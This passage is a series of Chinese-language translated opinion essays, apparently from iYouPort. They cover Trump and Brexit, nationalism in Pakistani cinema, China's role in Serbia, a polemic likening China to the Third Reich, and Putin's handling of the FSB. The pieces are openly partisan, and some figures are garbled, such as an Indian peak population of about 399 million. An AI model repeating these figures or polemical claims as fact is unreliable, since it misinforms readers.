但我们真的应该感到惊讶吗？英国脱欧公投和 — 不到六个月后的 — 特朗普在美国的总统选举，是无与伦比的前所未有的政治、社会和经济的自我伤害行为。两者都成为了功能性障碍、不团结和不诚实的代名词。每过一周都会带来新的证据，以证明美国总统和“脱欧”阵营的领导人正在弥补这种纯粹的公然的无耻。

因此，随之而来的混乱不是一个错误，它是一个特征; 特朗普与英国脱欧有着共同的混乱。

有人曾经猜到这点吗，投票给一个真正的电视明星，其有着破坏业务的悠久历史，对他的承包商态度强硬，欺骗他的客户，对公共政策、宏观经济学或国际事务缺乏了解或理解，从根本上说是无能为力的领导，让他来统治或管理这个世界上唯一的超级大国？

又有谁曾想象得到，投票退出世界上最大的单一市场 — 以及该国最大的商品出口市场 — 骄傲地蔑视经济学专家、没有明确的计划或退出战略，然后导致政治和经济混乱？

嗯，实际上我们中的一些人的确猜到了这一结局。特朗普和英国脱欧的可怕后果完全可以预测得到 — 并且是可以说是意料之内的。

具有讽刺意味的是，特朗普本周早些时候提到英国政府正在进行的关于是否有“硬”或“软”两种英国脱欧模式的分歧，被特朗普称之为“朋友”的 Boris Johnson 戏剧性地辞职，这位前外交大臣兼脱欧派领导人谈到了英国的“混乱”基本可以说是“一个已经持续了很长时间的局面”。

然而，一段时间以来这位总统一直在大声疾呼并公开调整自己与英国退欧的关系。他奇怪地称自己为“脱欧先生”，并告诉他的支持者，他们是”令人难以置信的运动“的一部分，”这场运动正在席卷我们的国家，并且遍布全球，Look at Brexit, look at Brexit“。他赞扬了离开欧盟的“奇妙”决定，并表示他认为英国“决定走出去是如此的聪明”。

作为当时的共和党总统候选人在英国退欧公投后第二天访问苏格兰的特朗普坦伯利度假村时，他告诉记者说，“我确实看到了美国正在发生的事和这里（英国）正在发生的事之间存在着相似之处”。

这一次，我不禁同意这个 Donald 了。美国第 45 任总统的选举和将英国从欧盟撤出的历史性投票之间有着明显的相似之处 — 但并不是特朗普所认为的那样。

这些相似之处涉及反自由主义和威权主义; 民族主义和种族主义; 反智主义和反精英主义。例如，有利于英国脱欧和特朗普胜选的投票与经济焦虑或贫困的关系并不大，更多的是与文化焦虑和种族怨恨有关。

英国脱欧和特朗普不仅从移民的妖魔化中获益 — 特别是来自叙利亚的移民 — 而且还来自微妙的反犹主义和赤裸的对伊斯兰教的仇视。两者都导致种族主义、不容忍和针对少数民族和有色人种的仇恨犯罪“严重增加”。

两者都是基于攻击“"专家"”和“"事实"”，同时将关键的民主机构，如独立的"司法机构"和"新闻自由"，视为“人民的敌人”。

尽管被亿万富翁推动，但两者都被全球化的输家呈现为民粹主义的叛乱；尽管“没有一致的证据”表明民粹主义选民“更有可能失业、收入较低、来自较低阶层或者接受较低的教育”；尽管俄罗斯涉嫌参与在大西洋两岸的幕后。

当然，有一些合理的论据支持英国退欧，而没有任何人支持令人厌恶的特朗普。尽管如此，两者之间有一个明显的、巨大的、令人沮丧的差异，这让我感觉我的英国同胞们比我的美国同事和邻居们更可怜。这一差异就是：

特朗普担任美国总统，最多也就六年。但是退欧，……这可是永远的。〇

原文

文化民族主义 - iYouPort

地缘政治

“流浪地球”和其鲜明的民族主义是中国年期间的一大热门。事实上，借助影视文艺为媒介推动民族主义和爱国主义（甚至战争狂热的军国主义等）意识形态的隐性宣传，是一种全球普遍通用的方法。我们来看一个例子，以及它造成的问题

中国年期间，中国网络上随处可见的最“热门”消息就是刘某的电影《流浪地球》，这一热度虽然很可能是在当局的大力推动和无聊人士促进的羊群效应下产生的，但其中有一个主题非常鲜明，即：民族主义。

事实上，借助影视文艺为媒介推动民族主义和爱国主义（甚至战争狂热的军国主义等）意识形态的隐性宣传，是一种全球普遍通用的方法。很长时间以来已经有越来越多的人不再喜欢美剧而转向英剧，与这种意识形态负载有很大关系，并且更多的资料可证实情报部门几十年来是如何操纵文艺对大众进行宣传的（感兴趣的读者可以在duck搜：“documents expose how hollywood promotes war on behalf of the pentagon cia & nsa”; 在亚马逊或实体书店搜索: “national security cinema: the shocking new evidence of government control in hollywood”）

理论上民族主义分为两种：民主民族主义和种族民族主义（后者是纳粹那种）。其实还有一种民族主义，可以称其为地缘政治‘外套’民族主义，就像中国等国家那样。不过不论是什么，将其插入大众文艺的结果都是教化、都是违背创作自由之原则的，尤其是当它在政权的推动下实现时。

本文以巴基斯坦为例。因为这一模式最容易产生，且难以被大众发觉。

当齐亚·哈克将军于1988年5月推翻总理 Mohammed Khan Junejo 的

政府时，他打算在年底举行一次少数党选举。选举确实发生了，但齐亚没有成为巴基斯坦总统：因为那年8月他在一次飞机失事中丧生。在最高法院的干预之后，政党也被允许参加投票。所有这一切都在贝娜齐尔·布托（Benazir Bhutto）身上达到了高潮，她成为了首相，齐亚曾希望她远离选举舞台。

当时发生的迅速变化不仅仅是国内的、还是区域性的—甚至是国际性的。苏联解体的第一个真正迹象—如 Perestroika（改革）和从阿富汗撤军—都突然开始形成。对巴基斯坦境内变化的恐惧导致前政权的残余力量努力抵制贝娜齐尔·布托（Benazir Bhutto），用肮脏的伎俩对她和她的母亲进行污蔑。这是为了怂恿推高一个已经提出的问题，即 一个伊斯兰国家是否可以让一个女人、更不用说一个西化的女政治家，领导行政当局。

在她的任期内，在经济和社会的大部分时间里，国家控制的枷锁都被放开了，从而消除了许多文化表达方面的限制。当巴基斯坦首个全国知名乐队 Vital Signs 于1989年发行其首张专辑时，这一切似乎都很自然。

随着民主的回归而出现的 glasnost（开放性）使巴基斯坦国家和社会能够从外部接受思想和文化。因此，当代流行音乐正式得到了支持（尽管人们此前已经通过盗版接受了它）。

这个线性故事非常诱人。它提供了一个简洁的叙述，清楚地阐明了因果关系。在大多数情况下，这就是事实—除了Dil Dil Pakistan（可能是Vital Signs最珍贵的歌曲）于1987年发布时遭到了一些审查的事实，就在 Zia 的C-130飞机在巴哈瓦尔布尔坠毁前的一年。

Dil Dil Pakistan 的歌曲及其伴奏视频如何登陆了国有的巴基斯坦电视台（PTV）？是什么让这些西化歌手—携带吉他、骑着越野车和敞篷吉普车、音乐会般的场景…冲击了传统的保守文化？在这种情况下，清教徒如何暂停其蒙昧主义？

巴基斯坦著名文化历史学家纳戴姆·F·帕拉查（Nadeem F Paracha）认为，部分时故意的，另外部分是某种意外。

在与审查者周旋期间，这首歌的制片人 Shoaib Mansoor 推动了这样一种观点，即 在寻求未被PTV认可的文化产品和表达的年轻群体中，是时候培养民族主义了。由于他的创造性成功，Mansoor 当时在PTV中拥有令人难以置信的影响力。

Paracha还指出，这不是 Zia 时代唯一的例外。事实上，独裁者政权对其文化束缚提出了若干其他例外。例如，就 Nazia Hassan 和 Zoheb Hassan 的二人组而言，Zia 个人对他们的认可导致他对自己的文化政治进行辩护。

民族主义在艺术中的作用，特别是流行文化，是一种令人兴奋的混合—例如 Dil Dil Pakistan。它重申了国家认可的价值观，即与保守的守门人和年长的观众建立真正联系的价值观，同时允许剩余空间接受当代的，有时是明确的西方艺术影响。

“非常值得注意的是，这首歌在当时的现状是如何地友好和具有颠覆性，”巴基斯坦数字音乐业务的文化评论员 Ahmer Naqvi 谈到 Dil Dil Pakistan 时说。

这一悖论强调了巴基斯坦在电影、电视和音乐中如何使用民族主义：民族主义既是回归思想，也是收敛思想的载体，并且还是接受新的包容性表达的工具。

虽然有几部著名影片已经出现在它之前，但 Waar 于2013年上映时被认为是一部重新引起大众对电影的兴趣的作品—— 经过数十年质量差的电影、缺乏投资、影院倒闭以将其变成房地产的整体衰败时期后，影视行业已经大幅收缩，并且由于2008年和2013年之间的特殊局势导致任何公共活动的空间都缩小了。就像 Dil Dil Pakistan 打开了一扇门一样，Waar 开了另一扇门。

这部电影的角色代表了新一代的士兵：他们看起来并不像过去的 PTV 剧中所显示的那些穿着制服的男人，如 Sunehray Din。毕竟，他们“反恐”来的。

Waar 的电影摄影也更适合当代动作片，而不是任何 Gandasa 时代电影的特色。这部电影甚至在紧张的高潮期间可以让你WTF—— 但是，它的整体空间充满了民族主义裹尸布。就像中国目前的状况一样，只要你能确定你的主题中充满民族主义，你就可以讲述任何故事，否则，再好的故事也无法上映。

为什么会这样，在巴基斯坦，它具有重要的历史根源。（在中国为什么这样详见这里）

早在1947年该国就已经感受到迫切地想要建立一个新的民族性格。考虑到这个刚刚起步的国家在成立之初的弱点，对国家建设叙事的需求是可以理解的。伴随着次大陆分裂和初期几乎不存在的国家结构的大

规模暴力和大规模移民使巴基斯坦相对于印度处于极大的劣势。

然而，考虑到当时巴基斯坦存在的五个主要地方特征的力量，实现国家性质是一项复杂的工作。宗教几乎立即被使用来粘合裂缝—尽管少数群体在制宪会议通过目标决议期间曾有反对。

1956年至1958年间，巴基斯坦出现严重的政治不稳定局面，四位总理陆续进出，随后是 Ayub Khan 的政变。执政党穆斯林联盟的双重效应在 Jinnah 灭亡之后变得无效，并且第一次戒严令的实施为未来几十年的民族主义项目设定了坚实基础。

这一时期为制定巴基斯坦内部指导的民族主义确立了三个参数：怀疑旁遮普省以外的省份；将他们的身份和自治斗争妖魔化为叛国罪；由于政治家和政治机构固有的弱点，需要军事化。

与印度不断发展和加深的竞争以及复杂的地区安全局势也意味着永久的不安全感成为军国主义巴基斯坦民族主义的存在理由。

但这一切并非巴基斯坦所特有的。在面临战争威胁或陷入战争本身所有国家都是如此，民族主义在上个世纪被大大推进了。由于巴基斯坦和印度之间的关系的特点是战争威胁—除了在短暂的和平期间—城市中产阶级某一部分的民族主义已经成为对国家常设机构的非政治性承诺。

然而，当民族主义企业必须应对多种先前存在的身份时，这种紧张局势会加剧—巴基斯坦就是这种情况。不完全的工业化和城市化都导致了这些紧张局势。

基于单一身份的民族主义受益于中央控制，即 现代经济和单一空间中大量人口的集中促进。一体化市场、彻底的工业化和统一的民族主义往往是齐头并进的。然而，巴基斯坦不平衡的经济发展使得大部分社会能够存在于国家范围之外，并在基于亲属关系的网络中找到安全和身份认同。Waar 这部作品为巴基斯坦境内的许多紧张局势提供了一个迷人的微观世界。

Waar 还充当了激励沮丧人口的工具，这一群体因恐怖主义暴力的不断发展轨迹和它所产生的深刻不安全感而感到恐惧。这部电影高度强调民族主义，将其植根于对恐怖主义的强有力的军事反应中，这正是人们越来越想要的，尤其是在2014年12月袭击白沙瓦陆军公立学校（APS）事件后、反恐战争愈演愈烈的情况下。

「图」

「图」

Waar 利用了许多情节点来确保它不仅解决了 Tehreek-e-Taliban Pakistan（TTP）提出的当代安全挑战，而且还强调了该机构对谁是以及谁不是真正的巴基斯坦民族主义者的传统衡量标准。

这部电影塑造了一个“好”政治家，就是那个为建造一座大坝而牺牲生命的人—大概就是卡拉巴格大坝；其主要的女性角色之一表面上是通过她的非政府组织赋予人们权力，但实际上是印度间谍；巴基斯坦的敌人在道德上已经破产，并为达到目的无所不用其极；这些敌人也与生活在开伯尔—普赫图赫瓦（Khyber Pakhtunkhwa）和前联邦直辖部落地区的人无法区分。

电影记者奥马尔·阿拉维（Omair Alavi）赞扬了包括 Waar 在内的一连串民族主义新电影的技术细节，但他质疑它们的内容，对他来说，这些内容并没有很好地制定。他认为这些电影中有许多线索完全脱节，例如，他发现具有讽刺意味的是，这些电影中出现的印度反派角色或TTP指挥官使用纯正的乌尔都语对话，但片中的英雄对话往往是英语。

这也许不是疏忽。

这可能是一种古怪的民族主义与现代性古怪概念相结合的症状：英雄是一个像任何年轻的巴基斯坦职业者那样的超级爱国者，但他也像老精英一样接受西化。在这方面，他是巴基斯坦的一个城市实体——一个意识形态的民族主义者，但在风格上却是一个全球主义者。他的观点中没有任何地方主义的痕迹，他的讲话和穿着完全是当代人物。

最近，一些以相同的模式制作的民族主义电影正陆续上市。其中最新款是2017年推出的 Yalghaar 和2018年推出的 Parwaaz Hai Junoon。

Alavi 解释说，民族主义电影的出现不仅仅是因为服务间公关（**ISPR**）提供的技术支持—— 这基本上是属于军方的媒体机构；想要扮演硬汉的演员也会倾向于民族主义电影。

文化作家和民族音乐学家拉菲·马哈茂德（Rafay Mahmood）认为，巴基斯坦电影的结构及其吸引的众多观众也是电影如今具有民族主义焦点的原因。较旧的单屏电影院已经让位于拥有高端设施和昂贵门票

价格的现代多功能厅，这些门票大多吸引城市中产阶级的观众。他说，虽然民族主义动作电影解决了当代非国家行为者存在焦虑的问题，但它们是在现有的观众偏见基础上实现这一目的的。

巴基斯坦制作民族主义电影的重点也可以解释为对宝莱坞所支持的右翼印度民族主义的新趋势的反应。例如，考虑一下即将上映的印度电影 Uri：The Surgical Strike 的预告片："这是一个新的印度。这个新的印度不仅会进入敌人的家园，还会杀死敌人。"

鉴于刚刚重新开发的阶段，巴基斯坦电影院如果想继续吸引观众，就无法完全避开印度电影。西方电影没有像印度电影那样的高速缓存。巴基斯坦安全机构对这些挑战的反应是以抵抗的姿态发展自己的文化产品，但其范围和规模仍然有限。（就像中国目前正在做的那样。科幻类在中国是弱势的，全球科幻作品由好莱坞统治，而文章开头所说的刘某正在被中国当作本土品牌民族主义工具，以抗衡这种局面）

然而，印度的文化产品的多样性和规模，使其能够促进国内的民族主义和多样性。它对体育运动中民族主义的重视令其可以展示"为国家服务"的任何人。不仅来自高贵的种性、也包括宗教和少数民族的人。

记者 Mahwash Ajaz 确实认为，一些巴基斯坦电影也提供了多元化和包容性的巴基斯坦人代表，而不一定是在说教，但这种情况只发生在没有明确爱国主义的电影中。她引用了诸如"Actor In Law"，"Load Wedding"和"Main Hoon Shahid Afridi"这样的电影来表达她的观点。

可能最有效的电影是 Main Hoon Shahid Afridi，不幸的是，它没有得到应有的赏识。它于2013年发布，它有一个围绕板球的独特故事，一个富有的团队试图强行将"阶级"带回现在由工薪阶层明星主导的运动中。这部电影的新贵团队为巴基斯坦的多元化提供了支持—所有这些都有其紧张、偏见以及潜力和前景。

「图」

「图」

The resurgence of nationalism in popular culture. This paradox underscores how nationalism has been used in Pakistan in film, television and music: nationalism has been both the carrier of regressive, constrictive ideas and a tool to embrace new and

inclusive expressions.

原文

新殖民：横扫巴尔干 - iYouPort

地缘政治

尽管对北京方面有了新的兴趣，但中国与欧盟的关系在2018年遭遇了一系列挫折，最近一次是欧盟委员会收紧外国直接投资。去年12月，欧洲最强大的经济体德国通过制定针对外国收购德国技术公司的新规则使中国的收购变得更加困难。

但是在欧盟以外的巴尔干地区，中国正享受着不同的体验。作为非欧盟成员国，塞尔维亚声称自己已成为中国在欧洲“最好的朋友之一”。北京已经在巴尔干地区开展了一些大型项目，尽管迄今为止最引人注目的贝尔格莱德—布达佩斯高速铁路还尚未实现。

「图」

「图」

从1949年开始，中国与南斯拉夫的关系起伏不定。最初，共产主义南斯拉夫领导人约瑟普·布罗兹·铁托元帅想要与中国接触，但由于铁托与斯大林的分裂而被毛泽东拒绝。虽然南斯拉夫于1949年开始以外交方式承认中国，但是铁托一直等到1977年才第一次访问北京。

随着中国与 Enver Hoxha 的阿尔巴尼亚的关系开始恶化，南斯拉夫—后来是塞尔维亚—成为了首选合作伙伴，成为使中国进入东南欧的入口。20世纪80年代（铁托在1980年去世）和20世纪90年代，这种关系继续顺利进入斯洛博丹米洛舍维奇的总统任期。在内战和南斯拉夫解体后，米洛舍维奇于1997年作为塞尔维亚总统访华，并在代顿和平协议签署两年后获得了中国的外交支持。这一突破在中塞关系中被认为是重要的。北京热衷于支持贝尔格莱德对科索沃的看法，反映出自己在台湾乃至香港的情况。

另一个严重事件使中国和塞尔维亚更紧密地联系在一起：1999年5月7日，五枚美国联合直接攻击弹药（JDAM）作为北约行动的一部分，袭击了中国驻贝尔格莱德大使馆，炸死了三名中国记者，并导致了北京的愤怒反应。虽然美国政府表示此次袭击是偶然的，但中国一直存在疑虑，认为这是美国的故意行为。

塞尔维亚加强与中国的政治和外交关系的动力一直受到科索沃问题的极大推动，也受到塞尔维亚对权力平衡转变的看法的推动。 2008年的金融危机给塞尔维亚领导层注入了一种感觉，即西方是脆弱的，中国正在“崛起”。在执政的塞尔维亚进步党（SNS）十周年庆典期间，两国政权之间的密切关系令人瞩目，中国驻塞尔维亚大使是其中的嘉宾。最近，塞尔维亚领导人还与中国驻科索沃问题大使进行了磋商，这是现任塞尔维亚政府传统上为俄罗斯大使馆保留的另一个角色。这意味着中国在贝尔格莱德的外交影响日益增强。

塞尔维亚政府多年来一直想敲开欧盟的大门而没有取得多大成功，现在转向中国作为经济伙伴。 在试图找到这个曾经陷入困境的地区的机会时，北京非常愿意与贝尔格莱德进行经济合作，而贝尔格莱德并不反对“国家主导的决策，投资、补贴和合同决策的政治化，拒绝欧盟的模式—公开透明的招标程序。“自2017年以来，两国取消了签证要求，加强了政治合作。

2005年至2016年间，中国和塞尔维亚之间的贸易额增长了两倍，达到16亿美元，但这是一种非常不平衡的关系：中国出口商品10亿美元，而塞尔维亚向中国出口100万美元商品。投资正在上升，因为贝尔格莱德政府能够作为非欧盟成员国迅速采取行动。

2016年，当习近平访问贝尔格莱德时，Vucic（当时的总理）坚持认为，中国将带来更多就业机会，提高生活水平，并提升国家经济增长。同年，中国国有的 HBIS 集团以4600万欧元（5500万美元）收购了 Smederevo 的钢铁厂。该钢厂在斯梅代雷沃（Smederevo）创造了5,200个工作岗位。它的前任所有者美国钢铁公司（British Steel）在2012年以1美元的象征价格将该工厂卖给了塞尔维亚政府。

其他巴尔干国家也从北京的“慷慨”中获益：黑山从中国进出口银行（Exim）获得了5亿美元的高速公路贷款，2013年向北马其顿提供了5.8亿美元贷款以帮助建设自己的高速公路。

很难不去注意中国在贝尔格莱德的实际存在。首先，在塞尔维亚首都的中国公民比大多数欧洲城市都多。许多是中国主要公司的游客、商人或员工，例如华为、中国北方工业集团有限公司（Norinco）等，中国游客的免签政策是鼓励他们增加存在的一个主要因素。

中国尚未收购巴尔干半岛。事实上，欧盟的赠款形式的结构性基金比中国的贷款更大、更便宜，但政治—以及一些地方政客的治理不善—在支持中国方面发挥了重要作用。布鲁塞尔的拨款带有条件，规则往往不受巴尔干政治精英的欢迎。欧盟官僚机构可能会行动缓慢，这是

政府试图快速获得选举资本时遇到的问题，因此中国模式的成功“与当地的政治周期保持一致。具有讽刺意味的是，六个巴尔干国家仍然希望加入欧盟在不太遥远的未来。

与中欧不同，俄罗斯在巴尔干地区的作用也是一个因素。莫斯科一直是塞尔维亚政策的坚定支持者，特别是对科索沃的政策。莫斯科的主要目的是让塞尔维亚远离北约、可能还有欧盟。俄罗斯还希望继续成为塞尔维亚最大的能源供应国。俄罗斯领导人一直对塞尔维亚历届政府都具有很高的影响力。在这个地区，浅层中俄合作并非不可能，正如前总统托米斯拉夫·尼科利奇（Tomislav Nikolic）所主持的“与俄罗斯和中国的经济合作委员会”的建立所暗示的那样。

与许多国家一样，中国一直邀请众多塞尔维亚记者，尤其是与 BRI 相关的活动。

还有活跃的中文学校，包括贝尔格莱德的两所孔子学院和诺维萨德大学。在被轰炸的中国大使馆的遗址上正在建造一个新的大型八层中国文化中心。

尽管中国公民在塞尔维亚的存在越来越多，但中国仍然被视为一个“偏远”的国家，对年轻的塞族人没什么文化吸引力，他们大量移民到西方国家，由于缺乏国内就业机会而被迫移民。也许出于对过去特定西方政策的挫败感，许多塞尔维亚人已经变得有点反西方，赞成与俄罗斯和中国等国家建立更紧密的联系。虽然很难详细说明中国对塞尔维亚政治精英的影响，但毫无疑问，一个仍然从长期战争中复苏的社会正在发生转变。

中国对塞尔维亚日益增长的机会主义兴趣被当地观察家描述为一种“新殖民”。公众似乎对中国国内形势没有强烈的看法。国际媒体报道稀少，塞尔维亚人似乎专注于恢复自己的国家而不是地缘政治。大多数人认为中国是一个友好国家，已经开始投资于（缓慢恢复的）塞尔维亚经济。

显然，欧盟一直关注—包括柏林—中国将利用巴尔干作为进入欧洲市场的新切入点的迹象，并试图在治理较弱而非欧盟自由民主模式的国家推广自己的政治模式。但是，由于欧盟在许多问题上面临越来越多的分歧，设想巴尔干群岛很快加入联盟似乎是不现实的—让中国和其他国家占据了一个空洞的空间。

- 关联阅读：《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》

China is playing an increasingly active role in Serbia, part of its expansion in Central and Eastern Europe. Although it is hard to detail China's influence on Serbian political elites, there is undoubtedly a shift in a society still recovering from its long period of war.

原文

新第三帝国 - iYouPort

关于中国社会地缘政治

集中营、种族主义、优生学、统治世界的野心。听起来有点熟吗？是的。有一个新的第三帝国正在出现，它在哪儿？……

「图」

「图」

集中营、种族主义、优生学、统治世界的野心。听起来有点熟吗？是的。有一个新的第三帝国正在出现，它就是中国。

在地图上显示为中华人民共和国西北部的这个动荡地区的家庭正在被撕裂。被监禁的维吾尔族和哈萨克族父母的子女被“限制”在通过铁丝网和重型警察巡逻与外界隔离的“学校”里。他们被拒绝使用自己的语言教学，被迫学习普通话。这些控制措施是所谓的“汉化”政策的一部分，这是一种强制同化的计划。“汉”是中国主要民族的名称。

由于维吾尔人和哈萨克人在营地中死亡人数相当多，北京 正在建造火葬场 ，以便在处置尸体，消除土葬的传统。

这些集中营正在蔓延，这可能涉及危害人类罪。中国现在正在建设 类似的设施 ，在中国西南部的西藏，有各种委婉的名字，如“职业培训中心”。

与此同时，北京正在重新尝试在全国范围内消除宗教信仰。正如佛教徒一样，基督徒在中国受到更大的攻击。中国的统治者要求五种公认的宗教“中国化” — — 官方认可是一种控制机制。

作为这种无情努力的一部分，中国人正在摧毁清真寺和教堂，迫使虔诚的穆斯林 喝酒吃猪肉 ，派遣汉族官员住在穆斯林家中，并结束对未成年人的宗教教育。

自习近平于2012年11月成为共产党总书记以来，这些在中国历史上有先例的尝试已经愈演愈烈。

与此同时，习远远超过他的前任，一直在推动由一个主权国家、一个中国国家统治的世界秩序的概念。

简而言之，至少除了大屠杀之外，习对世界的看法与第三帝国的看法非常相似。

第三帝国与中国都有着致命的种族主义，在中国礼貌地称其为“大汉主义”。汉族据说包括中国人口的约92%。

中国神话认为，所有中国人都是黄帝的后裔，中国人认为自己是与世界其他地方的人类有区别的，这种观点通过在学校灌输等方式得到加强。

中国学者支持这种中国特殊性观念以及“北京人”的进化论，后者认为中国人与人类的其余部分没有共同的祖先。毫不奇怪，这种中国人独特进化的理论强化了种族主义的观点。

由于种族主义，中国的许多人，包括官员，“相信自己与其他人类完全不同，并且暗示自己优于其他人类”，“中国秩序：世界帝国与中国权力的本质”的作者 Fei-Ling Wang 写道。

因此，种族主义被制度化并公开宣传。去年中国中央电视台春节联欢晚会上的13分钟短剧中，这一点非常明显。一位中国女演员扮演肯尼亚母亲，她的胸部巨大，臀部大得可笑。更糟糕的是，她的搭档是一只人类大小的猴子。猴子和女人的结合是湖北省博物馆2017年的展览“这是非洲”的回声，展示了非洲人在灵长类动物旁边的照片。

近年来，中国媒体对非洲人进行了许多丑陋的描绘，虽然去年的短剧并不是最糟糕的，但也足够令人震惊，因为主要的国家广播公司通过播放给大约8亿观众，明确表示中国官员把非洲人视为嘲笑和非人的对象。

在这种情况下，可以安全地假设这些观点是北京领导人所共有的，令人担忧的是，这种观点正在向所有华人 — — 而不仅仅是中国人 — — 提出更频繁的种族呼吁。

然而，本世纪的帝国竞争有一个问题。中国现在是世界上人口最多的国家，但正面临人口迅速下降的问题。去年的出生率是1949年建国以来的最低水平。根据联合国人口司发布的“2017年世界人口前景”，该

国的人口将在2029年达到峰值。

但事实上联合国的数据是基于北京过于乐观的假设。中国的官方人口统计学家完全没有预见到去年出生率几乎崩溃。

在2024年，将发生另一个重大事件。然后，至少300年来第一次 —— 也许是有史以来第一次 —— 中国将不会成为世界上人口最多的国家。这个荣誉将归于一个中国人普遍厌恶和恐惧的国家，印度。当印度在2061年达到巅峰时，其人口39888.8万将超过中国。

一旦人口开始萎缩，中国将迅速萎缩。 2018年，中国的人口是美国的4.3倍；预计到2100年，中国的人口只会是2.3倍。

中国的人口发展道路已经存在了几十年，它将对中国社会和国家的“综合国力”产生重大而极端不利的影响。也许这就是为什么北京看起来好像正在试图通过为“超级中国人”的种族奠定基础来弥补其人口崩溃的前景。

深圳南方科技大学的贺建奎于11月宣布了他的基因编辑双胞胎女孩工程。他声称自己正在让婴儿能够更好地抵抗艾滋病毒，但有人猜测他也在努力增强智力。无论如何，这一声明引发了对纳粹优生学实验的联想，特别是因为有证据表明中国政府支持了他的“世界第一”实验，被认为是不道德的和危险的。

习近平当然很危险。“毛泽东可能在试图将前殖民地人民团结起来反对白人帝国主义者时，扮演了第三世界的种族怨恨，但他认为共产主义是一种全球现象，最终会到处找到一个家，而毛泽东的乌托邦在未来出现了，”哈德森研究所的 Charles Horner 告诉 Gatestone。“习近平的中国共产党不是以这种方式全球性或乌托邦式的；相反，它似乎是一种被强调的’中国性’。”

Horner 看到习近平的中国与20世纪30年代的帝国日本之间存在的令人不安的相似之处。“就像当时的日本帝国一样，”Horner 说，“当一位善良的皇帝将整个世界聚集在一起沐浴在他的荣耀中并分享他的慷慨时，习近平和他的政党正向往这一神话般的过去。” ○

C oncentration camps, racism, eugenics, ambitions of world domination. Sound familiar ? There is a new Third Reich, and it is China.

原文

普京的秘密服务：克里姆林宫如何控制 FSB —— 俄罗斯情报机构联邦安全局 - iYouPort

地缘政治

中国的体制内大清洗大家都略知一二。克里姆林宫也在搞这件事，其中有很多有趣的相似之处。但是，也有着某些根本性的区别……这里是一篇很棒的情报分析，其中有多个线索可供中国社会参考。我们故意没有为其配置一个解释性的编者按。只是不希望破坏您探索的乐趣

「图」

「图」

4月，一系列抗议活动袭击了莫斯科地区。抗议者既没有公开表达政治目的 —— 公民在他们的街区抗议有毒的垃圾填埋场，参与者也不是很多 —— 最多只有几千人（莫斯科有 700 多万人口）。在抗议的巅峰时期，人们走上了周围九个城镇的街道。

然而，抗议似乎协调得很好，在一些城镇，市政当局支持人民，并允许他们抗议。即使是官员，也很难忽视垃圾填埋场散发的可怕气味、以及担心儿童中毒的愤怒的父母们。其中一个城市是位于莫斯科以南约 60 英里的 Serpukhov。

抗议开始一周后，Serpukhov 区的一名官员 Alexander Shestun 被邀请到克里姆林宫。在那里，他会见了俄罗斯强大的情报机构联邦安全局（FSB）的将军 Ivan Tkachev，此人也是苏联时代的秘密警察克格勃的接班人。Shestun 对这场会面感到担忧，决定将他秘密记录下的对话发布在 YouTube 上。

在录音中，Tkachev 威胁 Shestun。“如果你不主动辞职，你马上就会栽掉，”他说。“你将入狱。就像你之前的许多人一样，你不明白，这是一个很大规模的[清除计划]。“他暗示他正在接受克里姆林宫的命令，然后 Tkachev 列出了几名已经被监禁的高级官员，其中包括一名

来自内政部的将军和两位州长。Tkachev 甚至暗示，莫斯科地区的州长、俄罗斯执政党的前任主席 Andrey Vorobyov 可能成为大清洗的下一个目标。

FSB 企图使 Shestun 保持沉默的这种笨拙的恐吓手段不是孤立事件。更确切地说，在由克里姆林宫指导并由 FSB 执行的恐吓和选择性镇压中，这一事件是俄罗斯总统弗拉基米尔·普京过去三年制定的新治理模式的一个启示性例子，以及情报部门在其中的作用。

新的可能性

从普京在 2000 年的上位到执政，直到最近，俄罗斯这个最大的情报机构 FSB 一直享有“新贵族”的地位，这是该机构前主任 Nikolai Patrushev 说的话。该机构获得了慷慨的资助，不受监督的特权，可以自由地对抗克里姆林宫的真实的和被感知的敌人。它还提供人力资源 — 将军和上校 — 填补国家和国有企业的重要职位。在一段时间内，FSB 的确成为了国际政治研究人员在 2010 年所描述过的“真正的精英”。

在他任职的早年，普京本人曾担任前克格勃官员，曾致力于扭转 20 世纪 90 年代发生的俄罗斯情报部门的权力下放 — — 这项任务主要涉及在 FSB 内部集中力量，并允许其人员积累财富和政治影响力。普京希望，这将使情报部门成为一个忠诚于克里姆林宫的新阶级，与政权的稳定性直接相关，并能够成为俄罗斯强大寡头的雄心壮志。

> 对于许多俄罗斯新授权的贵族来说，权力的诱惑太强大了，无法抗拒……

然而，对于这些新授权贵族中的许多人来说，权力的诱惑和缺乏监督的力量太强大了而无法抗拒。到了 2000 年代中期，普京的秘密服务 — — 包括 FSB、联邦缉毒局（FSKN）和总统安全局 — 在争夺战利品时互相攻击、斗争、彼此实施间谍行动和监禁。事实上，许多人已经变成了他们应该监督的寡头们的雇佣兵。2007 年，FSKN 的负责人、普京的亲密朋友 Viktor Cherkesov 抱怨说，他的副手 Alexander Bulbov 将军因为非法窃听被 FSB 监禁后，情报部门的“战士”变成了“交易员”……因为 Cherkesov 在公共场合抱怨，他失去了工作。

事实证明，普京对 FSB 的信任是错误的。该机构未能预测到 2011 年莫斯科发生的大规模抗议活动，一旦抗议活动开始，再对示威者利用社交媒体进行的动员和组织施加控制就已经无能为力了。当 FSB 向俄罗斯最受欢迎的社交网络 Vkontakte 发送请求以删除抗议者使用的页

面时，它是通过传真下达禁令的。

在 2013–2014 乌克兰危机的初始阶段莫斯科派遣 FSB 团队帮助其盟友 — 总统 Viktor Yanukovych。对于克里姆林宫来说，乌克兰是前苏联加盟共和国中最重要的国家，将其置于俄罗斯的势力范围内是至关重要的。但是 FSB 官员不仅没能帮助亚努科维奇掌握权力，他们甚至都没有注意到他已经失去了勇气，对其在 2014 年2月从首都逃离一事感到意外……作为特务部门，这简直是太无能了。

「图」

「图」

劳动纪律

在这些行动失败之后，普京在 2015 年左右开始改变了计划。他摆脱了那些作为秘密服务扩大角色的支持者和受益者的老朋友。

2015 年8月，普京罢免了他的前盟友弗拉基米尔·亚库宁（Vladimir Yakunin），此人是前克格勃官员，担任俄罗斯国有铁路垄断负责人。然后在 2016 年，他又处理了“两个伊凡诺夫”，解雇了 Viktor 并解散了他的机构 FSKN，并在 8 月对他的办公室主任 Sergei 实施了降级。在此期间，普京还停止使用 FSB 作为政府和经济重要职位的招聘基地。

但这些变化的目的并不是为了让情报部门变得不那么重要; 而是为了减少他们的自主权。普京正在抛弃寻求稳定的后苏联治理体系，其中新贵族应该发挥关键作用。相反，他明确表示他所需要的是一种纯粹而简单的工具，用于保护他的政权。

